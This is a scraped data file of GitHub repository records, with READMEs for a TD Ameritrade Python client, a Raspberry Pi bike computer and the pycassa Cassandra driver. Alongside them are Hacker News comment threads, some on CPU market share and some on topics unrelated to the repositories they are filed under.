uses that people currently have them. Form factors and packaging are going to make MORE of a difference for upgrading. Right now, if I could get some sort of fancy framework-style compact notebook-that-is-a-thin-but-upgradable-desktop computer in a neat package, that's a much more compelling buy than a machine that has, what, maybe real world 10% PERCEPTIBLE performance improvement over something from 5 years ago?Realistically this should have been in full swing with the COVID boom. Not sure if the penny pinchers will allow such \"radical\" investment (the non-ARM initiatives might take, what a billion a year froma 26 billion a year company?)<HN_SEP>I always bought intel because whenever I bought AMD I regretted it.Now however Intel has low power cpu cores and high power cpu cores and I feel cheated. AMD has all full power cores.<HN_SEP>Hey Intel, try this:1) pay more for talent than anyone else.2) treat your engineering staff amazingly well3) watch your business completely turn around in two years<HN_SEP>When are AMD 3nm part expected? Mid 2024?<HN_SEP>Watching an Asianometry episode, I was surprised to see that Intel contributed significantly to ASML's development of EUV.But I also heard somewhere that Intel, until recently, refused to buy ASML's EUV machines. Trying to go it mostly alone on EUV lithography.Are both of these facts really true?Seems insane that Intel would help ASML develop EUV and then watch competitors buy the machines and reap the benefits.<HN_SEP>If AMD sells SoC on standard MB sizes, they\u2019d definitely take the gaming market. They\u2019re getting impeded by MB manufacturers price gouging.<HN_SEP>As a cpu buyer, I'd like amd and intel to get stuck at 50-50 market share and fight tooth and nail by introducing cheaper and faster models every year. And maybe discover low power computing, although that's wishful thinking.<HN_SEP>Great job AMD, now do RISC V so Apple's M1 can get some competition.<HN_SEP>This seems like a weird metric, CPU market share seems to only include actual drop in CPUs that go with motherboards, right? If that\u2019s the case, wouldn\u2019t the overall CPU market be shrinking as we get things like the M-Series MacBooks and Macs coming out?To me, the more interesting question is what does the overall market of compute devices that can be used in a fashion similar to what AMD and Intel sell (being charitable and leaving out mobile) look like and what percentage of that market do AMD and Intel make up? Has the overall market grown? Is it growing faster overall than the laptop/desktop/server/hpc space that intel and AMD are catering to?<HN_SEP>We bought a $9000 single socket AMD (2.4 GHz) 40 core server from Dell and a $27,000 dual socket Intel (2.8 GHz) 100 core server from Dell.The AMD server is at full load, using around 150W whereas the Intel server idles at 450W doing absolutely nothing and pushes up to 700W if we load it up.In hindsight, I regret not just buying 3 of the AMD servers for the same price. I had this fallacy that the Intel server would be magically more energy efficient, but that has turned out to be FUD and baloney.NB Power usage measured at the wall socket with voltage and current monitored PDUs.<HN_SEP>I wish this was the case on the GPU side too. Nvidia is playing by their rules and everybody follows.<HN_SEP>These is missing something. Looking at just the Q4 2022 numbers:AMD Desktop CPU Market Share 18.6%AMD Mobility CPU Market Share 16.4%AMD Server CPU Market Share 17.6%AMD Overall x86 CPU Market Share 31.3%What's causing the bump from 16%-18% share to 31% in the avgs?Are they including game consoles in the x86 market share?<HN_SEP>Not sure how long that'll play out. The 13th gen have barely been integrated in stuff and they seem to, at least on single thread, smash AMD in the price/performance ranking. 13700K is a beast of a CPU for not much money. Also the next two gens of Intel stuff is very different. At least AMD are giving them an ass kicking which they deserve.My PC has a 12400 in it which actually realistically kicks my M1 Pro MBP in the teeth on some things which is embarrassing as it's a junk ass end Lenovo desktop machine that cost <$500.We live in interesting and exciting times.<HN_SEP>Intel stumbled badly on their new semiconductor fab development. Their next generation fabrication plants have been delayed for years and they are losing badly to TSMC, which makes AMD's chips. It would be interesting for someone to tell the story of why they failed where before they had cranked out new fabs process technology like clockwork.<HN_SEP>[dead]<HN_SEP>AMD also has chipsets that are making their way onto motherboards.  Video, PCI, USB, etc.  We had a problem with an HID device of ours that would work fine with the ubiquitous Intel USB chipsets for the last 10 years, but didn't work properly with the AMD USB chipset on a new laptop.So Intel is losing chipset share, too.<HN_SEP>Every possible forum on the Internet is biased towards AMD. Apparently HN is no exception.<HN_SEP>I really need to upgrade my personal media server but both companies' CPUs just use way too much power. It's kind of ridiculous. Yes, they're fast but power hungry as heck. Makes my dual xeons I run now look energy efficient.<HN_SEP>holy cow that's a big chunk of marketshare.<HN_SEP>From an investor perspective, AMD was a fantastic story due to Intel's 10nm process slip. AMD also got the jump on MCM which is arguably the most disruptive innovation in the mix.I think the pendulum has begun to swing the other way. Intel is catching up and surpassing in some important areas already.I've held positions both in AMD and Intel over the years. Right now I am long INTC.<HN_SEP>AMD should give desktop CPUs more PCIE lanes and memory channels.<HN_SEP>This shows how dangerous it is when a real tech expert becomes the ceo of a large company<HN_SEP>How does does AMD/Intel stack up against ARM with something like Amazon's Graviton instances?It seems /a lot/ of the people I know are moving from Intel/AMD to ARM, I suspect the move is bigger than I expect. So I'm wondering if that's chipping away at Intel/AMDs market share.<HN_SEP>https://youtu.be/FIrid_7qDt4<HN_SEP>If Dthreads match the performance of pthreads, how is it possible that 7 years from the publication they aren't widely used?<HN_SEP>> DTHREADS achieves cross-thread memory isolation by replacing threads with processes. In a multithreaded program running with pthreads, threads share all memory except for the stack. Changes to memory immediately become visible to all other threads. Threads share the same file descriptors, sockets, device handles, and windows. By contrast, because DTHREADS runs threads in separate processes, it must manage these shared resources explicitly.They seem to be using a processes' copy-on-write memory to keep the dthreads isolated until commit points. At commit points they deterministically merge the pages back.Algorithmic errors are still possible due to data races, but they present themselves more like logic errors because they're deterministic. They'll fail the same everytime.Interesting.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "timkpaine/tdameritrade", "link": "https://github.com/timkpaine/tdameritrade", "tags": ["python", "python3", "finance", "algorithmic-trading", "tdameritrade-api", "tdameritrade"], "stars": 505, "description": "Python interface to TD Ameritrade (https://developer.tdameritrade.com)", "lang": "Python", "repo_lang": "", "readme": "# tdameritrade\nPython interface to TD Ameritrade Api\n\n[![Build Status](https://github.com/timkpaine/tdameritrade/workflows/Build%20Status/badge.svg?branch=main)](https://github.com/timkpaine/tdameritrade/actions?query=workflow%3A%22Build+Status%22)\n[![Coverage](https://codecov.io/gh/timkpaine/tdameritrade/branch/main/graph/badge.svg)](https://codecov.io/gh/timkpaine/tdameritrade)\n[![License](https://img.shields.io/github/license/timkpaine/tdameritrade.svg)](https://pypi.python.org/pypi/tdameritrade/)\n[![PyPI](https://img.shields.io/pypi/v/tdameritrade.svg)](https://pypi.python.org/pypi/tdameritrade/)\n\n\n\n## Getting Started\n\n### Install\nInstall from pip\n\n`pip install tdameritrade`\n\nor from source\n\n`python setup.py install`\n\n\n### Docs\nMajor changes in the v0.1.0 update to the way tokens are handled.  \nYou will still need the original authentication instructions, but the TDClient now takes the refresh token and client\nid, not the access token. A new session class handles token expiration and will automatically call a new token as\nneeded. \n\nIt is recommended that you store these as environmental variables.  \n\n```\nclient_id = os.getenv('TDAMERITRADE_CLIENT_ID')\naccount_id = os.getenv('TDAMERITRADE_ACCOUNT_ID')\nrefresh_token = os.getenv('TDAMERITRADE_REFRESH_TOKEN')\n\ntdclient = tdameritrade.TDClient(client_id=client_id, refresh_token=refresh_token, account_ids=[account_id])\n``` \n\nSee the tests\\test_client.py file for examples on current usage. \n\nAll functionality is available as methods on the `TDClient` object. For most methods, there is a convenience method to return the result as a pandas DataFrame.\n\n![](https://raw.githubusercontent.com/timkpaine/tdameritrade/main/docs/img/client/client.png)\n\nMost data fetching methods accept the symbol as argument. For equities, this is just the ticker.\n\n![](https://raw.githubusercontent.com/timkpaine/tdameritrade/main/docs/img/client/quote.png)\n\nFor different assets, utilize the `search` and `instrument` methods to lookup symbols. For options, you can utilize the options method.\n\n![](https://raw.githubusercontent.com/timkpaine/tdameritrade/main/docs/img/options.png)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "hishizuka/pizero_bikecomputer", "link": "https://github.com/hishizuka/pizero_bikecomputer", "tags": ["raspberry-pi", "power-meter", "cycling", "python", "gps", "fit", "tcx", "sensor", "antplus", "pyqt5", "bike", "bicycle", "offline-maps", "gps-tracking"], "stars": 505, "description": "An open source bike computer based on  Raspberry Pi Zero (W, WH, 2W) with GPS and ANT+. Including offline map and navigation.", "lang": "Python", "repo_lang": "", "readme": "![title](https://user-images.githubusercontent.com/12926652/89370669-47178000-d71c-11ea-896f-0d98f4cbd5da.jpg)\n\n# Pi Zero Bikecomputer\nAn open-source bike computer based on  Raspberry Pi Zero (W, WH, 2 W) with GPS and ANT+.\n\nhttps://github.com/hishizuka/pizero_bikecomputer\n\n# News\n\n- 2022/12/7 There are so many updates, so you might want to look over [software_installation.md](/doc/software_installation.md)..\n- 2022/12/7 Please install qasync and aiofiles for asynchronous process.\n- 2022/12/7 Install garminconnect if you want to upload to Garmin Connect.\n- 2022/12/7 Install stravacookies if you want to show Strava heatmaps.\n- 2022/12/7 Add support of ISM330DHCX, MMC5983MA([SparkFun 9DoF IMU Breakout](https://www.sparkfun.com/products/19895)) and BMP581([SparkFun Micro Pressure Sensor](https://www.sparkfun.com/products/20171))\n- 2022/12/7 Changed the SPI SCLK connection of the MIP color display and SHARP memory display from 22 to 23 for future support of Radxa Zero. Please modify headers(GPIO_SCS) of modules/display/mip_display.py or mip_sharp_display.py as needed.\n\n```\n#2022/12/7 update\n$ sudo pip3 install qasync\n\nDebian\n$ sudo apt install python3-aiofiles\nor\n$ sudo pip3 install aiofiles\n\n$ sudo pip3 install garminconnect stravacookies\n```\n\n\n# Table of Contents\n\n- [Abstract](#abstract)\n- [Features](#features)\n- [Specs](#Specs)\n- [Comparison with other bike computers](#comparison)\n- [Hardware Installation](#hardware-installation)\n- [Software Installation](#software-installation)\n- [Q&A](#qa)\n- [License](#License)\n- [Author](#Author)\n\n\n# Abstract\n\nPi Zero Bikecomputer is a GPS and ANT+ bike computer based on Raspberry Pi Zero(W, WH, 2 W). This is the first DIY project in the world integrated with necessary hardwares and software for modern bike computer. It measures and records position(GPS), ANT+ sensor(speed/cadence/power) and I2C sensor(pressure/temperature/accelerometer, etc). It also displays these values, even maps and courses in real-time. In addition, it write out log into .fit format file.\n\nIn this project, Pi Zero Bikecomputer got basic functions needed for bike computers. Next target is to add new functions which existing products do not have!\n\nYou will enjoy both cycling and the maker movement with Pi Zero Bikecomputer!\n\nHere is detail articles in Japanese.\n\n- [I tried to make a bikecomputer, the result was pretty good](https://qiita.com/hishi/items/46619b271daaa9ad41b3)\n- [Let's make a bikecomputer with Raspberry Pi Zero (W, WH)](https://qiita.com/hishi/items/46619b271daaa9ad41b3)\n\nDaily update [at twitter (@pi0bikecomputer)](https://twitter.com/pi0bikecomputer), and [my cycling activity at STRAVA](https://www.strava.com/athletes/40248693).\n\n\n<img width=\"836\" alt=\"system-01-202106\" src=\"https://user-images.githubusercontent.com/12926652/120964687-a6ac4500-c79e-11eb-8598-98ab2e612cd6.png\">\n\n\n<img width=\"836\" alt=\"system-02\" src=\"https://user-images.githubusercontent.com/12926652/97240633-23069f00-1832-11eb-8e8b-8312997b4710.png\">\n\n![hardware_top](https://user-images.githubusercontent.com/12926652/205796409-f0ef443a-d1d1-4daa-abdd-4f20748c83e9.png)\n\n\n# Features\n\n- Easy to make\n  - Use modules available at famous Maker stores.\n  - Assemble in Raspberry Pi ecosystems.\n  - Install with basic commands such as `apt-get install`, `pip` and `git` command.\n\n- Customization\n  - Need only modules you want to use. Pi Zero Bikecomputer detects your modules.\n\n- Easy to develop\n  - Pi Zero Bikecomputer uses same libraries as for standard Linux.\n    - [Python](https://www.python.org)\n    - [numpy](https://numpy.org)\n    - [PyQt5](https://pypi.org/project/PyQt5/) and [PyQtGraph](http://www.pyqtgraph.org)\n    - [GPSd](https://gpsd.gitlab.io/gpsd/index.html) for GPS modules.\n    - [CircuitPython](https://learn.adafruit.com/welcome-to-circuitpython/what-is-circuitpython) libraries for some I2C sensors. \n  - So, you can run in cross platform environments such as Raspberry Pi OS, some Linux, macOS and Windows.\n\n- Good balance between battery life and performance\n\n\n# Specs\n\nSome functions depend on your parts.\n\n## Summary\n\n| Specs | Detail | Note |\n|:-|:-|:-|\n| Logging | Yes |  |\n| Sensors | Yes |  |\n| Positioning | Yes | A GPS module is supported. |\n| GUI | Yes |  |\n| Wifi | Yes | Built-in wifi |\n| Battery life(Reference) | 18h | with 3100mAh mobile battery([Garmin Charge Power Pack](https://buy.garmin.com/en-US/US/p/571552)) and MIP Reflective color LCD. |\n\n## Logging\n\n| Specs | Detail | Note |\n|:-|:-|:-|\n| Stopwatch | Yes | Timer, Lap, Lap timer |\n| Lap | Yes | [Total, Lap ave, Pre lap ave] x [HR, Speed, Cadence, Power] |\n| Cumulative value | Yes | [Total, Lap, Pre lap] x [Distance, Works, Ascent, Descent] |\n| Gross | Yes | Elapsed time, gross average speed(=distance/elapsed time), gained time from average speed 15km/h(for brevet) |\n| Auto stop | Yes | Automatic stop at speeds below 4km/h(configurable), or in the state of the acceleration sensor when calculating the speed by GPS alone |\n| Recording insterval | 1s |  Smart recording is not supported. |\n| Resume | Yes |  |\n| Output .fit log file | Yes |  |\n| Upload | Yes | Strava, Garmin and Ride with GPS. |\n| Live sending | Suspend | I am looking for a good dashboard service like as Garmin LiveTrack |\n\n## Sensors\n\nUSB dongle is required if using ANT+ sensors.\n\n| Specs | Detail | Note |\n|:-|:-|:-|\n| ANT+ Heartrate sensor |  Yes | |\n| ANT+ Speed sensor |  Yes | |\n| ANT+ Cadence sensor |  Yes | |\n| ANT+ Speed&Cadence sensor |  Yes | |\n| ANT+ Powermeter |  Yes | Calibration is not supported. |\n| ANT+ LIGHT |  Yes | Bontrager Flare RT only. |\n| ANT+ Control |  Yes | Garmin Edge Remote only. |\n| ANT+ Environment |  Yes | Garmin tempe (temperature sensor) |\n| Bluetooth sensors |  No |  |\n| Barometric altimeter | Yes | I2c sensor(pressure, temperature) |\n| Accelerometer | Yes | I2c sensor |\n| Magnetometer | Yes | I2c sensor |\n| Light sensor | Yes | I2c sensor. Use for auto backlight and lighting. |\n\n## Positioning\n\n| Specs | Detail | Note |\n|:-|:-|:-|\n| Map | Yes | Support raster map tile format like OSM (z/x/y.png or jpg). So, offline map is available with local caches. Also, raster .mbtile format is supported. |\n| Course on the map| Yes | A course file(.tcx) is supported. |\n| Course profile | Yes | A course file(.tcx) is supported. |\n| Cuesheet | Yes | Use course points included in course files. |\n| Search route | Yes | Google Directions API |\n| Map overlay | Yes | Heatmap (Strava / Ride with GPS) and weather(rain / wind). |\n\n### Map example\n\n\n#### Map and Course Profile\n\n<img width=\"400\" alt=\"map-01\" src=\"https://user-images.githubusercontent.com/12926652/206341071-5f9bee00-d959-489b-832a-9b4bf7fe2279.png\"> <img width=\"400\" alt=\"map-02\" src=\"https://user-images.githubusercontent.com/12926652/206341086-7935cfbd-8ed3-4068-9f2b-93f676a8932a.png\">\n\n#### Heatmap overlay\n\nStrava heatmap.\n\n![map_overlay-strava](https://user-images.githubusercontent.com/12926652/205793586-0b754cde-d1e7-4e57-81d2-2bbd60fc8b11.png)\n\n#### Weather map overlay\n\n[RainViewer](https://www.rainviewer.com/weather-radar-map-live.html) and [openportguide](http://weather.openportguide.de/map.html) are available worldwide.\n\nIn Japan, [\u6c17\u8c61\u5e81\u964d\u6c34\u30ca\u30a6\u30ad\u30e3\u30b9\u30c8](https://www.jma.go.jp/bosai/nowc/)(rain) and [SCW](https://supercweather.com)(wind) are available.\n\n![map_overlay_rainviewer](https://user-images.githubusercontent.com/12926652/205876664-ae1b629c-5b3f-4d8a-b789-d3ac24753d7f.png) ![map_overlay_weather openportguide de](https://user-images.githubusercontent.com/12926652/205876684-253b672f-615d-410c-8496-5eb9a13b2558.png)\n\n<img src =\"https://user-images.githubusercontent.com/12926652/205563333-549cf4dc-abbd-4392-9233-b8391687e0bc.png\" width=400/> \n\n\n## GUI\n\n| Specs | Detail | Note |\n|:-|:-|:-|\n| Basic page(values only) | Yes |  |\n| Graph | Yes | Altitude and performance(HR, PWR, W prime balance) |\n| Customize data pages | Yes | With layout.yaml |\n| ANT+ pairing | Yes |  |\n| Select course | Yes | local .tcx file and Ride with GPS. |\n| Upload activity | Yes | Strava, Garmin and Ride with GPS. |\n| Select map | Yes | map and overlay(heatmap and weather) |\n| Adjust parameter | Yes | wheel size, altitude, CP and W prime balance |\n| Network setting | Yes | Toggle wifi and BT, BT tethering. |\n| Language localization | Yes | Font and translation file of items are required. |\n| No GUI option | Yes | headless mode |\n\n\n### Performance graph\n![performance_graph-01](https://user-images.githubusercontent.com/12926652/205787731-6a249ccf-8115-433d-a4d1-7f068a804972.jpeg)\n\n### Language localization\uff08Japanese)\n![language-ja](https://user-images.githubusercontent.com/12926652/205787136-ed87e959-ff54-48ac-835f-a1b337b77b87.png)\n\n\n## Experimental functions\n\n### ANT+ multiscan\n\nit displays three of the people around you in the order in which you caught sensors using ANT+ continuous scanning mode.\n\n- <img src=\"https://camo.qiitausercontent.com/97904ae429c191677e9ece3cd113e07dfe8eefb2/68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3130303734312f33383765663432332d346631642d623332352d666235642d6638623434646332396564362e6a706567\" width=320 />\n\n\n# Comparison with other bike computers\n\n- 200km ride with Garmin Edge 830 and Pizero Bikecomputer ([strava activity](https://www.strava.com/activities/2834588492))\n\n- ![title-03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100741/b355cb92-8e7f-6b3f-7cd0-98ba8803a56c.png)\n\n| Items | Edge830 | Pi Zero Bikecomputer |\n|:-:|:-:|:-:|\n| Distance | 193.8 km  | 194.3 km  |\n| Work |  3,896 kJ | 3,929 kJ  |\n| Moving time | 9:12 | 9:04  |\n| Total Ascent | 2,496 m | 2,569 m |\n\n# Hardware Installation\n\nSee [hardware_installation.md](/doc/hardware_installation.md).\n\n# Software Installation\n\nSee [software_installation.md](/doc/software_installation.md).\n\n# Q&A\n\n\n# License\n\nThis repository is available under the [GNU General Public License v3.0](https://github.com/hishizuka/pizero_bikecomputer/blob/master/LICENSE)\n\n# Author\n\n[hishizuka](https://github.com/hishizuka/) ([@pi0bikecomputer](https://twitter.com/pi0bikecomputer) at twitter, [pizero bikecomputer](https://www.strava.com/athletes/40248693) at STRAVA)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "pycassa/pycassa", "link": "https://github.com/pycassa/pycassa", "tags": [], "stars": 505, "description": "Python Thrift driver for Apache Cassandra", "lang": "Python", "repo_lang": "", "readme": "pycassa\n=======\n\n[![Build Status](https://secure.travis-ci.org/pycassa/pycassa.png?branch=master)](http://travis-ci.org/pycassa/pycassa)\n\npycassa is a Thrift-based python client library for [Apache Cassandra](http://cassandra.apache.org)\n\n**pycassa does not support CQL** or Cassandra's native protocol, which are a\nreplacement for the Thrift interface that pycassa is based on. If you are\nstarting a new project, **it is highly recommended that you use the newer**\n[DataStax python driver](https://github.com/datastax/python-driver) instead\nof pycassa.\n\npycassa is open source under the [MIT license](http://www.opensource.org/licenses/mit-license.php).\n\nDocumentation\n-------------\n\nDocumentation can be found here:\n\n[http://pycassa.github.com/pycassa/](http://pycassa.github.com/pycassa/)\n\nIt includes [installation instructions](http://pycassa.github.com/pycassa/installation.html),\na [tutorial](http://pycassa.github.com/pycassa/tutorial.html),\n[API documentation](http://pycassa.github.com/pycassa/api/index.html),\nand a [change log](http://pycassa.github.com/pycassa/changelog.html).\n\nGetting Help\n------------\n\nIRC:\n\n* Use the #cassandra channel on irc.freenode.net. If you don't have an IRC client,\n  you can use [freenode's web based client](http://webchat.freenode.net/?channels=#cassandra).\n\nMailing List:\n\n* User list: [http://groups.google.com/group/pycassa-discuss](http://groups.google.com/group/pycassa-discuss)\n* Developer list: [http://groups.google.com/group/pycassa-devel](http://groups.google.com/group/pycassa-devel)\n\nInstallation\n------------\n\nIf pip is available, you can install the lastest pycassa release\nwith:\n\n    pip install pycassa\n\nIf you want to install from a source checkout, make sure you have Thrift\ninstalled, and run setup.py as a superuser:\n\n    pip install thrift\n    python setup.py install\n\nBasic Usage\n-----------\n\nTo get a connection pool, pass a Keyspace and an optional list of servers:\n\n~~~~~~ {python}\n>>> import pycassa\n>>> pool = pycassa.ConnectionPool('Keyspace1') # Defaults to connecting to the server at 'localhost:9160'\n>>>\n>>> # or, we can specify our servers:\n>>> pool = pycassa.ConnectionPool('Keyspace1', server_list=['192.168.2.10'])\n~~~~~~\n\nTo use the standard interface, create a ColumnFamily instance.\n\n~~~~~~ {python}\n>>> pool = pycassa.ConnectionPool('Keyspace1')\n>>> cf = pycassa.ColumnFamily(pool, 'Standard1')\n>>> cf.insert('foo', {'column1': 'val1'})\n>>> cf.get('foo')\n{'column1': 'val1'}\n~~~~~~\n\ninsert() will also update existing columns:\n\n~~~~~~ {python}\n>>> cf.insert('foo', {'column1': 'val2'})\n>>> cf.get('foo')\n{'column1': 'val2'}\n~~~~~~\n\nYou may insert multiple columns at once:\n\n~~~~~~ {python}\n>>> cf.insert('bar', {'column1': 'val3', 'column2': 'val4'})\n>>> cf.multiget(['foo', 'bar'])\n{'foo': {'column1': 'val2'}, 'bar': {'column1': 'val3', 'column2': 'val4'}}\n>>> cf.get_count('bar')\n2\n~~~~~~\n\nget_range() returns an iterable. You can use list() to convert it to a list:\n\n~~~~~~ {python}\n>>> list(cf.get_range())\n[('bar', {'column1': 'val3', 'column2': 'val4'}), ('foo', {'column1': 'val2'})]\n>>> list(cf.get_range(row_count=1))\n[('bar', {'column1': 'val3', 'column2': 'val4'})]\n~~~~~~\n\nYou can remove entire keys or just a certain column:\n\n~~~~~~ {python}\n>>> cf.remove('bar', columns=['column1'])\n>>> cf.get('bar')\n{'column2': 'val4'}\n>>> cf.remove('bar')\n>>> cf.get('bar')\nTraceback (most recent call last):\n...\npycassa.NotFoundException: NotFoundException()\n~~~~~~\n\nSee the [tutorial](http://pycassa.github.com/pycassa/tutorial.html#connecting-to-cassandra) for more details.\n", "readme_type": "text", "hn_comments": "Yes, it's distasteful and the person who bought the painting at a knock down price was a slimeball taking advantage of desparate people. But, knee-jerk eotions adide, in essence the situation is no different to anyone selling anything at a knock down price when they're desparate for cash.I'm sure a lot of us have been in that situation. But, if you don't like the amount you're being offered, find another buyer. If you can't find another buyer then take what's on offer --or don't sell. Either way, it's not really on to come back years later, complaining you were ripped off and demanding [as ever!] compensation.<HN_SEP>First off, the article fails to say what price was paid for the art to enter the family, and fails to say what it was worth when it was sold back. It only states the final selling price, and that it was gifted to the museum. This is a red flag. The truth has been deliberately obscured, presumably, to further a narrative.The family alleges it is worth $100-200 million, leading the reader astray as to how much a just compensation would be.For example, if the painting was worth $3000 when it sold for $1500, then the logical conclusion is they recieved half value and maximum compensation would be maybe $75 million.If the painting was worth $15,000, it becomes less relevant.Then there is the question of what a quick cash sale is worth, especially when it means the survival of a family. \nWhat if the purchaser simply didn't have the capital and made a good faith offer to save the lives of a family he knew?It seems far more appropriate to sue the Nazi government, or whoever is now responsible for the Nazis actions.This precend, if successfully implemented, could come back to kill millions in the future as noone will liquidate goods at any cost knowing they can't keep them. Ergo, those fleeing prosecution won't be able too.Perhaps the family should take the L, be thankful their family tree still exists, and take one for team Judaism and not set any highly dangerous precedents. Especially considering that history informs us it is most likely to be Jews who would be a victim to said precedent in the future. I don't believe we are post-history for one second.I know this doesn't sound empathetic enough and will get a bazillion down votes, but such is life.<HN_SEP>From \u201cpasswordless\u201d to maybe 1Password, as a treat.<HN_SEP>I had 1Password for a while but I found it clunky and not very user friendly. On the other hand, I've been using bitwarden, which is free, and seems to be a completely smooth experience on all devices. I don't really understand why the premium product that is 1Password feels worse<HN_SEP>I wonder if 1Password wasn't able to get their native extensions to handle passkey integration well, hence this acquisition?<HN_SEP>Seems like an Auth0, Okta, Clerk alternative.1Password moving into the developer space?<HN_SEP>1Passage<HN_SEP>Let them all join together. And then go away. Third party password management is a dumb and unsafe business model in the long term.<HN_SEP>With what looks like broad industry adoption of passkeys, are password management products doomed? Will passwords go away forever? Looking at my 1Password database I have \u2026 854 logins and 352 passwords. Seems like a decade at least before password management would decline significantly.<HN_SEP>An open source alternative that was posted last week:https://www.hanko.io/<HN_SEP>Not to be confused with Passage - a fork of pass with age encryption.https://github.com/FiloSottile/passage<HN_SEP>I'm not sure I really understand what the purpose of Passage's product is - doesn't webauthn already do what they're doing? It looks like they're using webauthn too, so is this just a wrapper around it?<HN_SEP>This Singapore law glossary might be useful: https://www.judiciary.gov.sg/news-and-resources/glossary . Should be straightforward to scrape too.<HN_SEP>Well, my very first search yielded me:Page not foundWe're sorry, but we could not find the page you requested: \nwww.public.law/search?term=perjury<HN_SEP>Interesting. I went to look for England&Wales entries and the first local (to UK) entry was from Ireland: https://www.public.law/dictionary/entries/emergency-care-ord....It talks about \"Tusla\", which term was entirely opaque to me. Apparently it's a neonym for a child welfare agency. An otherwise very readable sentence became entirely opaque due to use of a proper noun.The \"ex parte\" entry appears to say that it's a two party proceeding, in USA, is that true? In UK it's one-party before the court/tribunal. Multi-party proceedings where a party fails to respond are not ex parte in UK law (AFAIK) but are still inter partes.<HN_SEP>Congratulations on the launch!The content on public.law (great domain) is useful and looks like its headed in the right direction. A small suggestion would be to move the newsletter signup from home page (or) at-least from hero to footer? And get other USP like the legal dictionary there.Since the site covers international law, Perhaps you might be interested in the need-gap: 'Compare law of the land in an easy way'[1] posted on my problem validation forum; Say like if someone travels from USA to India then what major laws should they know about.[1] https://needgap.com/problems/255-compare-law-of-the-land-in-...<HN_SEP>The main difference between this, versus using a web search engine, appears to be the readability sorting of definitions and the fact that the definitions are scraped from government resources.The sorting is quite a bit of fun to see in action.But, what advantage is there that the source is from a government resource? Versus, say, doing a Google search, or browsing Merriam-Webster's legal dictionary, or doing a search through Black's online edition, and so on.<HN_SEP>Impressive and really readable.I feel this would benefit from a slightly different name such as International Common Law Dictionary or something similar instead of the general term used now.I believe that many concepts\nfound in common law just don\u2019t translate to other law systems (let\u2019s say Sweden, Spain, Germany) and a translation of the words (which would help in terms of understanding) actually doesn\u2019t do the concepts justice because they just don\u2019t exist in the other systems.E.g. \u201eArticle III judge\u201c. Probably won\u2019t be found in other systems, but easily translatable or the Chapter entries (Chapter 11, Chapter 9 etc) - surely every law has some kind of similar law or code or whatever, but I believe it couldn\u2019t be directly related to these code chapters.<HN_SEP>A somewhat similar project that I started at Google (this was US-only) was:Common constructions of computer terms (\"database\", \"processor\", \"thread\", etc.) These words appear in patent claims, and the claims are what determine infringement (I use the word \"construction\" instead of \"definition\" deliberately).You might well think there's a standard dictionary of them. There is not, at least as of 5-6 years ago. The parties in a lawsuit propose a construction, and the judge creates one. He's not obliged to follow precedent. Thus you find that \"database,\" for example, has been construed to include a flat file. The construction is supposed to be what the patent writer meant at the time of filing OR what the general industry meaning was.If that sounds murky, it is. With a chemical patent, there are standard meanings for words, and you won't get far arguing that \"methylated\" doesn't mean what it generally means. Not so in software.Often after the judge's claim construction, one side will offer to settle, because they know they'll lose.Sometimes you'll see a patent from some other country, and of course the meaning of the terms there may not be the same as in the US. So this would be a much, much bigger project than you've taken on.<HN_SEP>Very cool project. Wishing you good luck!<HN_SEP>I'm not sure how mixing legal terms from differing domains will pan out for your intended target audience, here in the Commonwealth hegemony we have issue with self representation in Court from those educated via central north american police and law shows .. quoting their US Constitutional Rights as a Free Citizen, etc.That said, you might like, say, the New South Wales (Australian) guide to legal terms and self help:https://www.lawaccess.nsw.gov.au/Pages/representing/lawassis...which is government funded and assists in connecting people with legal aid and translating legal terms to plainspeak.Best wishes with your endeavour.<HN_SEP>Great work! If relying only on government sources is not a pre-requisite, you could also consider this site for glossary of terms under Indian laws (https://nyaaya.org/glossary/). I am not associated with them, but they do incredible work in providing digital, accessible legal information to the general public. And they make it available under creative commons license.<HN_SEP>617 entries is nothing. Look at Black's Law Dictionary. The problem with Black's is that as much as a third is archaic. Maybe half. Uncommon words and phrases that lawyers use would be useful--\"affiant\" is missing, btw--but at best this is a minor glossary. \"Process server\" is also missing. I once saw this translated as \"judicial notifier.\" It's a phrase \"uncommon\" lawyers have trouble with, since it requires an understanding of two concepts that have nothing to do with each other.The idea of using the program for specialized vocabulary, or building your own glossary, is much more interesting.<HN_SEP>In general,  the documented precedent cases are used to develop a consensus by  legal crowds. In many places \"jury nullification\" can theoretically supersede the courts judgement, but will likely get you kicked from the pool if you know such things exist. This is also why many punitive laws survive, simply by settling out of court via plea deals to avoid direct community/jury input. Citizens are still in charge, but decades of media often convinced people due process was somehow a bad thing (Socrates would be disappointed).As a side note, if you are not using a legal rep, than expect people to make a bureaucracy more painful.  Talk to a lawyer before you try to talk with anyone else, as you may be initially innocent.. but say/do something contradictory that still lands you in trouble.   I also advise against doing your own dentistry as well. ;-)It would be cool to have a law database effort which focuses on building something accessible that makes lawyers lives easier, and provides a tax free donation link to a nonprofit organization.  Perhaps some sort of curated wiki style journal site with a validated legal comment section.I like my lawyers and commercial accountants, as they were the best investment one could make for a business. =)<HN_SEP>Looks good, sending it over to legal team at my company<HN_SEP>In the 90\u2019s when \u201cselling out\u201d was one of the really big insults you could make in the music scene[1] artist had this tendency of publicly hating on the record company.\u201cThese suits don\u2019t know anything about art, they just want to sell records and we have to fight them every day to make art and stay real\u201dAs I kid I ate this up raw, but I feel like today we have a more mature relationship to this.In the above made up quote the artist is basically saying \u201cwe have a record company that can do the selling out so we don\u2019t have to\u201d[1] I believe it was the guitarist from Manic Street Preachers who carved \u201c4 real\u201d in his arm with a razor blade as a reaction to an interviewer accusing his band of selling out.<HN_SEP>Reading this, inherent in self-promotion, or at least the examples provided, there is a strong undercurrent of self-promotion implying a relinquishing bi-directional social relationships and replacing them with transactional and parasocial relationships.If that's truly inherent, it seems rather facile to chalk up people's discomfort as being primarily due to lack of skill.<HN_SEP>The benchmark I use for any promotion is value. Immediately create some value.If there is a high probability that the people you want to reach gain some value out of your (self) promotion, do it. And I mean not the value of the product / you behind it, the value of the promotion itself.If not, don't do it.Also applies to multi-million $ campaigns.<HN_SEP>I 